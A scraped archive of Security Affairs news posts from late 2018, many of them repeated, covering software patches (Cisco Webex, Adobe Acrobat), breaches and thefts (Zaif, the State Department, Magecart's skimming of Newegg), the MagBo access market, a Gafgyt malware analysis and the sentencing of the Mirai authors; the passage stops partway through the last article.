Category Archives: Hacking

Cisco fixes Remote Code Execution flaws in Webex Network Recording Player

Cisco released security patches to fix RCE flaws in the Webex Network Recording Player for Advanced Recording Format (ARF).

Cisco released security patches to address vulnerabilities in the Webex Network Recording Player for Advanced Recording Format (ARF) (CVE-2018-15414, CVE-2018-15421, and CVE-2018-15422) that could be exploited by an unauthenticated, remote attacker to execute arbitrary code on a vulnerable system

The Webex Meetings Server is a collaboration and communications solution that can be deployed on a private cloud and which manages the Webex Meetings Suite services and Webex Meetings Online hosted multimedia conferencing solutions.

The Meetings services allow customers to record meetings and store them online or in an ARF format or on a local computer, in WRF format.

The relative player Network Recording Player can be installed either automatically when a user accesses a recording file hosted on a Webex Meetings Suite site or manually by downloading it from the Webex site.

The lack of proper validation for the Webex recording files is the root cause of the vulnerabilities that could allow unauthenticated, remote attacker to execute arbitrary code on the target machine.

“Multiple vulnerabilities in the Cisco Webex Network Recording Player for Advanced Recording Format (ARF) could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system.” reads the security advisory published by Cisco.

“The vulnerabilities are due to improper validation of Webex recording files. An attacker could exploit these vulnerabilities by sending a user a link or email attachment containing a malicious file and persuading the user to open the file in the Cisco Webex Player. A successful exploit could allow the attacker to execute arbitrary code on an affected system.”

An attacker could exploit the flaw by tricking victims into opening a malicious file in the Cisco Webex Player, the file could be sent via email as an attachment or through a link in the content referencing it.

The vulnerabilities affect the following ARF recording players:

  • Cisco Webex Meetings Suite (WBS32) – Webex Network Recording Player versions prior to WBS32.15.10
  • Cisco Webex Meetings Suite (WBS33) – Webex Network Recording Player versions prior to WBS33.3
  • Cisco Webex Meetings Online – Webex Network Recording Player versions prior to 1.3.37
  • Cisco Webex Meetings Server – Webex Network Recording Player versions prior to 3.0MR2

Each version of the Webex Network Recording Players for Windows, OS X, and Linux is affected by at least one of the issues.

The following Network Recording Player updates address  the vulnerabilities:

  • Meetings Suite (WBS32) – Player versions WBS32.15.10 and later and Meetings Suite (WBS33) – Player versions WBS33.3 and later;
  • Meetings Online – Player versions 1.3.37 and later; and Meetings Server – Player versions 3.0MR2 and later.

Cisco warns that there are no known workarounds for these issues.

“The Cisco Webex Network Recording Player (for .arf files) will be automatically upgraded to the latest, non-vulnerable version when users access a recording file that is hosted on a Cisco Webex Meetings site that contains the versions previously specified,” concludes the Cisco advisory.

Pierluigi Paganini

(Security Affairs – Cisco Webex Network Recording Player, RCE)

The post Cisco fixes Remote Code Execution flaws in Webex Network Recording Player appeared first on Security Affairs.

Security Affairs: Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange

Cybercriminals have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies from the Japanese digital currency exchange Zaif exchange.

According to the Tech Bureau Corp., a Japanese cryptocurrency firm, hackers have compromised its Zaif exchange and have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies, including Bitcoin, Monacoin, and Bitcoin Cash.

The stole digital currencies included roughly 2.2 billion yen belonged to Tech Bureau and 4.5 billion belonged to its clients.

The hacked have taked the control of the exchange for a couple of hours on Sept. 14, and illegally transferred coins form the “hot wallet” of the exchange to wallets under their control.

“Japanese cryptocurrency firm Tech Bureau Corp said about $60 million in digital currencies were stolen from its exchange, highlighting the industry’s vulnerability despite recent efforts by authorities to make it more secure.” reported the Reuters.

Three days later, operators at the exchange noticed server problems and publicly disclosed the hack on Sept. 18.

The Tech Bureau took offline the exchange and sold to Fisco Ltd the majority ownership for a 5 billion yen ($44.59 million) investment that would be used to replace the digital currencies stolen from client accounts.

“Documents seen by Reuters on Thursday showed Japan’s Financial Services Agency would conduct emergency checks on cryptocurrency exchange operators’ management of customer assets, following the theft. FSA officials were not immediately available for comment.” continues the Reuters.

This is the second hack suffered by a Japan’s crypto exchange this year, earlier January  Japan-based digital exchange Coincheck was hacked and crooks stole$530 million in digital coins.

Earlier this year, a problem at the Zaif exchange allowed some people to buy cryptocurrencies without paying.

Japan is considered a global leaked in cryptocurrency technologies, the Bitcoin could be used for payment in the country since April 2017 major retailers accept this kind of payments.

Experts believe that the cyber heist will affect the FSA’s ongoing regulatory review of the cryptocurrency industry.

Last year Japan became the first country to regulate cryptocurrency exchanges, they have to register with FSA and required reporting and other responsibilities.

Anyway, the incidents demonstrate that the level of security of exchanges has to be improved.

Pierluigi Paganini

(Security Affairs – Zaif exchange, hacking)

The post Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange appeared first on Security Affairs.



Security Affairs

Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange

Cybercriminals have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies from the Japanese digital currency exchange Zaif exchange.

According to the Tech Bureau Corp., a Japanese cryptocurrency firm, hackers have compromised its Zaif exchange and have stolen 6.7 billion yen ($60 million) worth of cryptocurrencies, including Bitcoin, Monacoin, and Bitcoin Cash.

The stole digital currencies included roughly 2.2 billion yen belonged to Tech Bureau and 4.5 billion belonged to its clients.

The hacked have taked the control of the exchange for a couple of hours on Sept. 14, and illegally transferred coins form the “hot wallet” of the exchange to wallets under their control.

“Japanese cryptocurrency firm Tech Bureau Corp said about $60 million in digital currencies were stolen from its exchange, highlighting the industry’s vulnerability despite recent efforts by authorities to make it more secure.” reported the Reuters.

Three days later, operators at the exchange noticed server problems and publicly disclosed the hack on Sept. 18.

The Tech Bureau took offline the exchange and sold to Fisco Ltd the majority ownership for a 5 billion yen ($44.59 million) investment that would be used to replace the digital currencies stolen from client accounts.

“Documents seen by Reuters on Thursday showed Japan’s Financial Services Agency would conduct emergency checks on cryptocurrency exchange operators’ management of customer assets, following the theft. FSA officials were not immediately available for comment.” continues the Reuters.

This is the second hack suffered by a Japan’s crypto exchange this year, earlier January  Japan-based digital exchange Coincheck was hacked and crooks stole$530 million in digital coins.

Earlier this year, a problem at the Zaif exchange allowed some people to buy cryptocurrencies without paying.

Japan is considered a global leaked in cryptocurrency technologies, the Bitcoin could be used for payment in the country since April 2017 major retailers accept this kind of payments.

Experts believe that the cyber heist will affect the FSA’s ongoing regulatory review of the cryptocurrency industry.

Last year Japan became the first country to regulate cryptocurrency exchanges, they have to register with FSA and required reporting and other responsibilities.

Anyway, the incidents demonstrate that the level of security of exchanges has to be improved.

Pierluigi Paganini

(Security Affairs – Zaif exchange, hacking)

The post Hackers stole $60 Million worth of cryptocurrencies from Japanese Zaif exchange appeared first on Security Affairs.

Security Affairs: US State Department confirms data breach to unclassified email system

The US State Department confirmed that hackers breached one of its email systems, the attack potentially exposed personal information of some of its employees.

The incident seems to have affected less than 1% of employee inboxes, 600-700 employees out of 69,000 people.

“The Department recently detected activity of concern in its unclassified email system, affecting less than 1 per cent of employee inboxes. Like any large organization with a global presence, we know the Department is a constant target for cyber attacks,”  states the US State Department.

“We have not detected activity of concern in the Department’s classified email system. We determined that certain employees’ personally identifiable information (PII) may have been exposed. We have already notified those employees.”

The security breach affected an unclassified email system at the State Department, the news of the hack came to light after Politico obtained a “Sensitive but Unclassified” notice about the incident.

“This is an ongoing investigation, and we are working with partner agencies, as well as the private sector service provider, to conduct a full assessment.” a State Department spokesperson told Politico.

“We will reach out to any additional impacted employees as needed.”

After the Agency noticed the “suspicious activity” in its email system notified the incident to a number of employees whose personal information may have been compromised.

US State Department didn’t reveal which kind of data had been accessed by attackers, at the time of writing we only know that no classified information had been exposed.

The Agency claimed it took steps to secure its system, and it is offering three years of credit and identity theft monitoring to the affected employees.

A group of senators wrote to Secretary of State Mike Pompeo last week raising concerns that the department did not meet federal standards for cybersecurity and questioning its resilience to cyber attacks.

“Sens. Ron Wyden (D-Ore.), Rand Paul (R-Ky.), Ed Markey (D-Mass.), Jeanne Shaheen (D-N.H.) and Cory Gardner (R-Colo.) asked Pompeo for an update on what the State Department has done to address its “high risk” designation, and how many cyberattacks the department had been subject to abroad in the last three years.”  reported TheHill.

“Pompeo was asked to respond by Oct. 12.”

Pierluigi Paganini

(Security Affairs – US State Department, Data Breach)

The post US State Department confirms data breach to unclassified email system appeared first on Security Affairs.



Security Affairs

US State Department confirms data breach to unclassified email system

The US State Department confirmed that hackers breached one of its email systems, the attack potentially exposed personal information of some of its employees.

The incident seems to have affected less than 1% of employee inboxes, 600-700 employees out of 69,000 people.

“The Department recently detected activity of concern in its unclassified email system, affecting less than 1 per cent of employee inboxes. Like any large organization with a global presence, we know the Department is a constant target for cyber attacks,”  states the US State Department.

“We have not detected activity of concern in the Department’s classified email system. We determined that certain employees’ personally identifiable information (PII) may have been exposed. We have already notified those employees.”

The security breach affected an unclassified email system at the State Department, the news of the hack came to light after Politico obtained a “Sensitive but Unclassified” notice about the incident.

“This is an ongoing investigation, and we are working with partner agencies, as well as the private sector service provider, to conduct a full assessment.” a State Department spokesperson told Politico.

“We will reach out to any additional impacted employees as needed.”

After the Agency noticed the “suspicious activity” in its email system notified the incident to a number of employees whose personal information may have been compromised.

US State Department didn’t reveal which kind of data had been accessed by attackers, at the time of writing we only know that no classified information had been exposed.

The Agency claimed it took steps to secure its system, and it is offering three years of credit and identity theft monitoring to the affected employees.

A group of senators wrote to Secretary of State Mike Pompeo last week raising concerns that the department did not meet federal standards for cybersecurity and questioning its resilience to cyber attacks.

“Sens. Ron Wyden (D-Ore.), Rand Paul (R-Ky.), Ed Markey (D-Mass.), Jeanne Shaheen (D-N.H.) and Cory Gardner (R-Colo.) asked Pompeo for an update on what the State Department has done to address its “high risk” designation, and how many cyberattacks the department had been subject to abroad in the last three years.”  reported TheHill.

“Pompeo was asked to respond by Oct. 12.”

Pierluigi Paganini

(Security Affairs – US State Department, Data Breach)

The post US State Department confirms data breach to unclassified email system appeared first on Security Affairs.

Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer

Magecart hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

The Magecart cybercrime group is back, this time the hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

Magecart  is active since at least 2015, recently the group hacked the websites of TicketmasterBritish Airways, and Feedify to inject a skimmer script used to siphon users’ payment card data.

behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.

The security firms Volexity and RiskIQ have conducted a joint investigation on the hack.

Volexity was able to verify the presence of malicious JavaScript code limited to a page on secure.newegg.com presented during the checkout process at Newegg. The malicious code specifically appeared once when moving to the Billing Information page while checking out.reported Volexity.

“This page, located at the URL https://secure.newegg.com/GlobalShopping/CheckoutStep2.aspx, would collect form data, siphoning it back to the attackers over SSL/TLS via the domain neweggstats.com.”

Now Magecart group managed to compromise the Newegg website and steal the credit card details of all customers who made purchases between August 14 and September 18, 2018.

“On August 13th Magecart operators registered a domain called neweggstats.com with the intent of blending in with Newegg’s primary domain, newegg.com.  Registered through Namecheap, the malicious domain initially pointed to a standard parking host.” reads the analysis published by RiskIQ.

“However, the actors changed it to 217.23.4.11 a day later, a Magecart drop server where their skimmer backend runs to receive skimmed credit card information. Similar to the British Airways attack, these actors acquired a certificate issued for the domain by Comodo to lend an air of legitimacy to their page”

NewEgg timeline

Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com (similar to Newegg’s legitimate domain newegg.com) on August 13 and acquired an SSL certificate issued for the domain by Comodo.

The technique is exactly the one employed for the attack against the British Airways website.

On August 14, the group injected the skimmer code into the payment processing page of the official  retailer website, so when customers made payment the attackers were able to access their payment data and send them to the domain neweggstats(dot)com  they have set up.

newegg skimmer

“The skimmer code is recognizable from the British Airways incident, with the same basecode. All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways.” continues RiskIQ.

“In the case of Newegg, the skimmer was smaller because it only had to serialize one form and therefore condensed down to a tidy 15 lines of script”

Experts noticed that the users of both desktop and mobile applications were affected by the hack.

Customers that made purchases on the Newegg website between August 14 and September 18, 2018, should immediately block their payment card.

Pierluigi Paganini

(Security Affairs – skimmer sript, hacking)

The post Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer appeared first on Security Affairs.

Security Affairs: Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer

Magecart hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

The Magecart cybercrime group is back, this time the hackers have stolen customers’ credit card data from the computer hardware and consumer electronics retailer Newegg.

Magecart  is active since at least 2015, recently the group hacked the websites of TicketmasterBritish Airways, and Feedify to inject a skimmer script used to siphon users’ payment card data.

behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.

The security firms Volexity and RiskIQ have conducted a joint investigation on the hack.

Volexity was able to verify the presence of malicious JavaScript code limited to a page on secure.newegg.com presented during the checkout process at Newegg. The malicious code specifically appeared once when moving to the Billing Information page while checking out.reported Volexity.

“This page, located at the URL https://secure.newegg.com/GlobalShopping/CheckoutStep2.aspx, would collect form data, siphoning it back to the attackers over SSL/TLS via the domain neweggstats.com.”

Now Magecart group managed to compromise the Newegg website and steal the credit card details of all customers who made purchases between August 14 and September 18, 2018.

“On August 13th Magecart operators registered a domain called neweggstats.com with the intent of blending in with Newegg’s primary domain, newegg.com.  Registered through Namecheap, the malicious domain initially pointed to a standard parking host.” reads the analysis published by RiskIQ.

“However, the actors changed it to 217.23.4.11 a day later, a Magecart drop server where their skimmer backend runs to receive skimmed credit card information. Similar to the British Airways attack, these actors acquired a certificate issued for the domain by Comodo to lend an air of legitimacy to their page”

NewEgg timeline

Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com (similar to Newegg’s legitimate domain newegg.com) on August 13 and acquired an SSL certificate issued for the domain by Comodo.

The technique is exactly the one employed for the attack against the British Airways website.

On August 14, the group injected the skimmer code into the payment processing page of the official  retailer website, so when customers made payment the attackers were able to access their payment data and send them to the domain neweggstats(dot)com  they have set up.

newegg skimmer

“The skimmer code is recognizable from the British Airways incident, with the same basecode. All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways.” continues RiskIQ.

“In the case of Newegg, the skimmer was smaller because it only had to serialize one form and therefore condensed down to a tidy 15 lines of script”

Experts noticed that the users of both desktop and mobile applications were affected by the hack.

Customers that made purchases on the Newegg website between August 14 and September 18, 2018, should immediately block their payment card.

Pierluigi Paganini

(Security Affairs – skimmer sript, hacking)

The post Magecart cybercrime group stole customers’ credit cards from Newegg electronics retailer appeared first on Security Affairs.



Security Affairs

Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw

Adobe releases a critical out-of-band patch for CVE-2018-12848 Acrobat flaw, the security updates address a total of 7 vulnerabilities.

Adobe address seven vulnerability in Acrobat DC and Acrobat Reader DC, including one critical vulnerability that could be exploited by attackers to execute arbitrary code.

“Adobe has released security updates for Adobe Acrobat and Reader for Windows and MacOS. These updates address critical and important vulnerabilities.  Successful exploitation could lead to arbitrary code execution in the context of the current user.” reads the security advisory.

The flaws affect Acrobat DC and Acrobat Reader DC for Windows and macOS (versions 2018.011.20058 and earlier; Acrobat 2017 and Acrobat Reader 2017 for Windows and macOS (versions 2017.011.30099 and earlier), and Acrobat DC and Acrobat Reader DC for Windows and macOS (2015.006.30448 and earlier).

The security patches have been released just one week after Adobe released its Patch Tuesday updates for September 2018 that addressed 10 vulnerabilities in Flash Player and ColdFusion.

The most severe flaw, tracked as CVE-2018-12848,  is a critical out-of-bounds write issue that could allow arbitrary code execution.

The flaw was reported by Omri Herscovici, research team leader at Check Point Software Technologies, the expert also found other 3 vulnerabilities.

CVE-2018-12848 Adobe Acrobat Reader flaw

The remaining flaws are out-of-bounds read vulnerabilities (CVE-2018-12849, CVE-2018-12850, CVE-2018-12801, CVE-2018-12840, CVE-2018-12778, CVE-2018-12775) that are rated as “important” and could lead to information disclosure.

The CVE-2018-12778 and CVE- 2018-12775 vulnerabilities were anonymously reported via Trend Micro’s Zero Day Initiative, while the CVE-2018-12801 issue was discovered by experts at Cybellum Technologies LTD.

The good news is that Adobe is not aware of any malicious exploitation of the flaw in attacks.

Pierluigi Paganini

(Security Affairs – Adobe, CVE-2018-12848)

The post Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw appeared first on Security Affairs.

Security Affairs: Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw

Adobe releases a critical out-of-band patch for CVE-2018-12848 Acrobat flaw, the security updates address a total of 7 vulnerabilities.

Adobe address seven vulnerability in Acrobat DC and Acrobat Reader DC, including one critical vulnerability that could be exploited by attackers to execute arbitrary code.

“Adobe has released security updates for Adobe Acrobat and Reader for Windows and MacOS. These updates address critical and important vulnerabilities.  Successful exploitation could lead to arbitrary code execution in the context of the current user.” reads the security advisory.

The flaws affect Acrobat DC and Acrobat Reader DC for Windows and macOS (versions 2018.011.20058 and earlier; Acrobat 2017 and Acrobat Reader 2017 for Windows and macOS (versions 2017.011.30099 and earlier), and Acrobat DC and Acrobat Reader DC for Windows and macOS (2015.006.30448 and earlier).

The security patches have been released just one week after Adobe released its Patch Tuesday updates for September 2018 that addressed 10 vulnerabilities in Flash Player and ColdFusion.

The most severe flaw, tracked as CVE-2018-12848,  is a critical out-of-bounds write issue that could allow arbitrary code execution.

The flaw was reported by Omri Herscovici, research team leader at Check Point Software Technologies, the expert also found other 3 vulnerabilities.

CVE-2018-12848 Adobe Acrobat Reader flaw

The remaining flaws are out-of-bounds read vulnerabilities (CVE-2018-12849, CVE-2018-12850, CVE-2018-12801, CVE-2018-12840, CVE-2018-12778, CVE-2018-12775) that are rated as “important” and could lead to information disclosure.

The CVE-2018-12778 and CVE- 2018-12775 vulnerabilities were anonymously reported via Trend Micro’s Zero Day Initiative, while the CVE-2018-12801 issue was discovered by experts at Cybellum Technologies LTD.

The good news is that Adobe is not aware of any malicious exploitation of the flaw in attacks.

Pierluigi Paganini

(Security Affairs – Adobe, CVE-2018-12848)

The post Adobe issued a critical out-of-band patch to address CVE-2018-12848 Acrobat flaw appeared first on Security Affairs.



Security Affairs

Security Affairs: Access to over 3,000 compromised sites sold on Russian black marketplace MagBo

Security experts at Flashpoint discovered the availability of the access to over 3,000 compromised sites sold on Russian black marketplace MagBo

A new report published by researchers at Flashpoint revealed the availability on an underground hacking forum for Russian-speaking users of access to over 3,000 breached websites.

“Access to approximately 3,000 breached websites has been discovered for sale on a Russian-speaking underground marketplace called MagBo. Access to some of the sites is selling for as low as 50 cents (USD).” reads the report published by Flashpoint.

The earliest advertisements for the MagBo black marketplace were posted in March to a top-tier Russian-language hacking and malware forum. According to the advertising, sellers are offering access to websites that were breached via, PHP shell access, Hosting control access, Domain control access, File Transfer Protocol (FTP) access, Secure Socket Shell (SSH) access, Admin panel access, and Database or Structured Query Language (SQL) access.

Most of the compromised websites are e-commerce sites, but crooks also offered access to websites of organizations in healthcare, legal, education and insurance industries and belonging to government agencies.

According to the experts, most of the compromised servers are from U.S., Russian, or German hosting services. The company reported its findings to law enforcement that are notifying victims.

Magbo compromised servers

Experts found a dozen of vendors on the MagBo black marketplace and hundreds of buyers participate in auctions in order to gain access to breached sites, databases, and administrator panels.

Accesses to compromised websites are precious commodities in the cybercrime underground, crooks can use them to carry out a broad range of illicit activities.

Illicit access to compromised or backdoored sites and databases is used by criminals for a number of activities, ranging from spam campaigns, to fraud, or cryptocurrency mining.” continues the report.

“These compromises have also been used to gain access to corporate networks. This could potentially allow actors to access proprietary internal documents or resources, as well as entry points through which they can drop various malicious payloads. The types of vulnerabilities present and the ways in which they can be exploited depend on the threat actor’s specific capability, motivation, targeting, and goals.”

Sellers are also offering different privilege levels, in some cases they provide “full access permissions” to the compromised sites,  other levels are “abilities to edit content,” and “add your content.”

The prices for compromised websites range from $0.50 USD up to $1,000 USD per access, depending on a website ranking listing various host parameters.

Magbo compromised servers prices.png

High-value targets would have higher prices, for example, to inject payment card sniffers, lower ranking sites are usually used for cryptocurrency mining or spam campaign.

The sellers also offer stolen photocopies of national documents for identity fraud, breached payment wallet access, compromised social media accounts, and Bitcoin mixer or tumbler services.

Pierluigi Paganini

(Security Affairs – MagBo, Darkweb)

The post Access to over 3,000 compromised sites sold on Russian black marketplace MagBo appeared first on Security Affairs.



Security Affairs

Access to over 3,000 compromised sites sold on Russian black marketplace MagBo

Security experts at Flashpoint discovered the availability of the access to over 3,000 compromised sites sold on Russian black marketplace MagBo

A new report published by researchers at Flashpoint revealed the availability on an underground hacking forum for Russian-speaking users of access to over 3,000 breached websites.

“Access to approximately 3,000 breached websites has been discovered for sale on a Russian-speaking underground marketplace called MagBo. Access to some of the sites is selling for as low as 50 cents (USD).” reads the report published by Flashpoint.

The earliest advertisements for the MagBo black marketplace were posted in March to a top-tier Russian-language hacking and malware forum. According to the advertising, sellers are offering access to websites that were breached via, PHP shell access, Hosting control access, Domain control access, File Transfer Protocol (FTP) access, Secure Socket Shell (SSH) access, Admin panel access, and Database or Structured Query Language (SQL) access.

Most of the compromised websites are e-commerce sites, but crooks also offered access to websites of organizations in healthcare, legal, education and insurance industries and belonging to government agencies.

According to the experts, most of the compromised servers are from U.S., Russian, or German hosting services. The company reported its findings to law enforcement that are notifying victims.

Magbo compromised servers

Experts found a dozen of vendors on the MagBo black marketplace and hundreds of buyers participate in auctions in order to gain access to breached sites, databases, and administrator panels.

Accesses to compromised websites are precious commodities in the cybercrime underground, crooks can use them to carry out a broad range of illicit activities.

Illicit access to compromised or backdoored sites and databases is used by criminals for a number of activities, ranging from spam campaigns, to fraud, or cryptocurrency mining.” continues the report.

“These compromises have also been used to gain access to corporate networks. This could potentially allow actors to access proprietary internal documents or resources, as well as entry points through which they can drop various malicious payloads. The types of vulnerabilities present and the ways in which they can be exploited depend on the threat actor’s specific capability, motivation, targeting, and goals.”

Sellers are also offering different privilege levels, in some cases they provide “full access permissions” to the compromised sites,  other levels are “abilities to edit content,” and “add your content.”

The prices for compromised websites range from $0.50 USD up to $1,000 USD per access, depending on a website ranking listing various host parameters.

Magbo compromised servers prices.png

High-value targets would have higher prices, for example, to inject payment card sniffers, lower ranking sites are usually used for cryptocurrency mining or spam campaign.

The sellers also offer stolen photocopies of national documents for identity fraud, breached payment wallet access, compromised social media accounts, and Bitcoin mixer or tumbler services.

Pierluigi Paganini

(Security Affairs – MagBo, Darkweb)

The post Access to over 3,000 compromised sites sold on Russian black marketplace MagBo appeared first on Security Affairs.

Dissecting the first Gafgyt bot implementing the “Non Un-Packable” NUP technique

Experts at the CSE Cybsec Z-Lab have found a Gafgyt variant implementing the “Non Un-Packable” technique recently presented in a cyber security conference

A new variant of the Gafgyt botnet is spreading in the last hours and experts of the CSE Cybsec Z-Lab have found it with the support of the Italian cyber security experts @Odisseus and GranetMan.

The new variant analyzed in the report published by the experts was found on a system resolving the IP address owned by the Italian ISP Aruba. This specific version implements some advanced packing techniques that make the static analysis much harder.

We downloaded the sample directly from the compromised server, we found four samples of the Gafgyt variant that were already compiled for the specific architecture, X86-64, X86-32, MIPS, ARM.

The sample shows the same behavior associated with the classic Gafgyt botnet but we immediately noticed a distinctive feature, the implementation of “Non Un-Packable” NUP technique.

Malware Must Die leader @unixfreaxjp presented the sophisticated technique at the recent Radare conference (r2con2018) in his talk about the “Non Un-Packable” packer.

According to the experts the “Non Un-Packable” ELF was around since a few months before the talk and our discovery confirms that malware developers started adopting it.

The report includes a detailed analysis of the malware.

You can download the full ZLAB Malware Analysis Report at the following URL:

http://csecybsec.com/download/zlab/20180919_CSE_Gafgyt_v2.pdf

 

Pierluigi Paganini

(Security Affairs – Gafgyt, malware)

The post Dissecting the first Gafgyt bot implementing the “Non Un-Packable” NUP technique appeared first on Security Affairs.

Security Affairs: Dissecting the first Gafgyt bot implementing the “Non Un-Packable” NUP technique

Experts at the CSE Cybsec Z-Lab have found a Gafgyt variant implementing the “Non Un-Packable” technique recently presented in a cyber security conference

A new variant of the Gafgyt botnet is spreading in the last hours and experts of the CSE Cybsec Z-Lab have found it with the support of the Italian cyber security experts @Odisseus and GranetMan.

The new variant analyzed in the report published by the experts was found on a system resolving the IP address owned by the Italian ISP Aruba. This specific version implements some advanced packing techniques that make the static analysis much harder.

We downloaded the sample directly from the compromised server, we found four samples of the Gafgyt variant that were already compiled for the specific architecture, X86-64, X86-32, MIPS, ARM.

The sample shows the same behavior associated with the classic Gafgyt botnet but we immediately noticed a distinctive feature, the implementation of “Non Un-Packable” NUP technique.

Malware Must Die leader @unixfreaxjp presented the sophisticated technique at the recent Radare conference (r2con2018) in his talk about the “Non Un-Packable” packer.

According to the experts the “Non Un-Packable” ELF was around since a few months before the talk and our discovery confirms that malware developers started adopting it.

The report includes a detailed analysis of the malware.

You can download the full ZLAB Malware Analysis Report at the following URL:

http://csecybsec.com/download/zlab/20180919_CSE_Gafgyt_v2.pdf

 

Pierluigi Paganini

(Security Affairs – Gafgyt, malware)

The post Dissecting the first Gafgyt bot implementing the “Non Un-Packable” NUP technique appeared first on Security Affairs.



Security Affairs

Mirai authors avoid the jail by helping US authorities in other investigations

Three men who admitted to being the authors of the Mirai botnet avoided the jail after helping the FBI in other cybercrime investigations.

I’m following the evolution of Mirai botnet since MalwareMustDie shared with me the findings of its investigation in August 2016.

Now three individuals who admitted to being the authors of the infamous botnet avoided the jail after helping feds in another cybercrime investigations.

The three men, Josiah White (21) of Washington, Pennsylvania; Paras Jha (22), of Fanwood, New Jersey, and Dalton Norman (22), of Metairie, Louisiana, pleaded guilty in December 2017 to developing and running the dreaded Mirai botnet that was involved in several massive DDoS attacks.

The identification and conviction of the three men is the result of an international joint cooperation between government agencies in the US, UK, Northern Ireland, and France, and private firms, including Palo Alto Networks, Google, Cloudflare, Coinbase, Flashpoint, Oath, Qihoo 360 and Akamai.

According to the plea agreements, White developed the Telnet scanner component used by Mirai, Jha created the botnet’s core infrastructure and the malware’s remote control features, while Norman developed new exploits.

Jha, who goes online with the moniker “Anna-senpai” leaked the source code for the Mirai malware on a criminal forum, allowing other threat actors to use it and making hard the attribution of the attacks.

Jha also pleaded guilty to carrying out multiple DDoS attacks against his alma mater Rutgers University between November 2014 and September 2016, before creating the Mirai botnet. According to the authorities, the three earned roughly $180,000 through their click fraud scheme.

The Mirai case was investigated by the FBI Field Office in Anchorage, and the Chief U.S. District Judge in Alaska sentenced the men.

“U.S. Attorney Bryan Schroder announced today that three defendants have been sentenced for their roles in creating and operating two botnets, which targeted “Internet of Things” (IoT) devices.  Paras Jha, 22, of Fanwood, New Jersey; Josiah White, 21, of Washington, Pennsylvania; and Dalton Norman, 22, of Metairie, Louisiana, were sentenced today by Chief U.S. District Judge Timothy M. Burgess.” states the press release published by the DoJ.

“On Dec. 8, 2017, Jha, White, and Norman pleaded guilty to criminal Informations in the District of Alaska charging them each with conspiracy to violate the Computer Fraud & Abuse Act in operating the Mirai Botnet.  Jha and Norman also pleaded guilty to two counts each of the same charge, one in relation to the Mirai botnet and the other in relation to the Clickfraud botnet.”

On Tuesday, the DoJ revealed on Tuesday that each of the men was sentenced to five years of probation and 2,500 hours of community service.

The judges required them to repay $127,000, and they have voluntarily handed over huge amounts of cryptocurrency that the authorities seized as part of the investigation on the botnet.

mirai

The three men have “cooperated extensively” with the authorities helping the FBI on complex cybercrime investigations before the sentence. The trio will continue to offer their support to the feds.

“After cooperating extensively with the FBI, Jha, White, and Norman were each sentenced to serve a five-year period of probation, 2,500 hours of community service, ordered to pay restitution in the amount of $127,000, and have voluntarily abandoned significant amounts of cryptocurrency seized during the course of the investigation.” continues the press release.

” As part of their sentences, Jha, White, and Norman must continue to cooperate with the FBI on cybercrime and cybersecurity matters, as well as continued cooperation with and assistance to law enforcement and the broader research community.”

Pierluigi Paganini

(Security Affairs – Mirai, botnet)

The post Mirai authors avoid the jail by helping US authorities in other investigations appeared first on Security Affairs.

Security Affairs: Mirai authors avoid the jail by helping US authorities in other investigations

Three men who admitted to being the authors of the Mirai botnet avoided the jail after helping the FBI in other cybercrime investigations.

I’m following the evolution of Mirai botnet since MalwareMustDie shared with me the findings of its investigation in August 2016.

Now three individuals who admitted to being the authors of the infamous botnet avoided the jail after helping feds in another cybercrime investigations.

The three men, Josiah White (21) of Washington, Pennsylvania; Paras Jha (22), of Fanwood, New Jersey, and Dalton Norman (22), of Metairie, Louisiana, pleaded guilty in December 2017 to developing and running the dreaded Mirai botnet that was involved in several massive DDoS attacks.

The identification and conviction of the three men is the result of an international joint cooperation between government agencies in the US, UK, Northern Ireland, and France, and private firms, including Palo Alto Networks, Google, Cloudflare, Coinbase, Flashpoint, Oath, Qihoo 360 and Akamai.

According to the plea agreements, White developed the Telnet scanner component used by Mirai, Jha created the botnet’s core infrastructure and the malware’s remote control features, while Norman developed new exploits.

Jha, who goes online with the moniker “Anna-senpai” leaked the source code for the Mirai malware on a criminal forum, allowing other threat actors to use it and making hard the attribution of the attacks.

Jha also pleaded guilty to carrying out multiple DDoS attacks against his alma mater Rutgers University between November 2014 and September 2016, before creating the Mirai botnet. According to the authorities, the three earned roughly $180,000 through their click fraud scheme.

The Mirai case was investigated by the FBI Field Office in Anchorage, and the Chief U.S. District Judge in Alaska sentenced the men.

“U.S. Attorney Bryan Schroder announced today that three defendants have been sentenced for their roles in creating and operating two botnets, which targeted “Internet of Things” (IoT) devices.  Paras Jha, 22, of Fanwood, New Jersey; Josiah White, 21, of Washington, Pennsylvania; and Dalton Norman, 22, of Metairie, Louisiana, were sentenced today by Chief U.S. District Judge Timothy M. Burgess.” states the press release published by the DoJ.

“On Dec. 8, 2017, Jha, White, and Norman pleaded guilty to criminal Informations in the District of Alaska charging them each with conspiracy to violate the Computer Fraud & Abuse Act in operating the Mirai Botnet.  Jha and Norman also pleaded guilty to two counts each of the same charge, one in relation to the Mirai botnet and the other in relation to the Clickfraud botnet.”

On Tuesday, the DoJ revealed on Tuesday that each of the men was sentenced to five years of probation and 2,500 hours of community service.

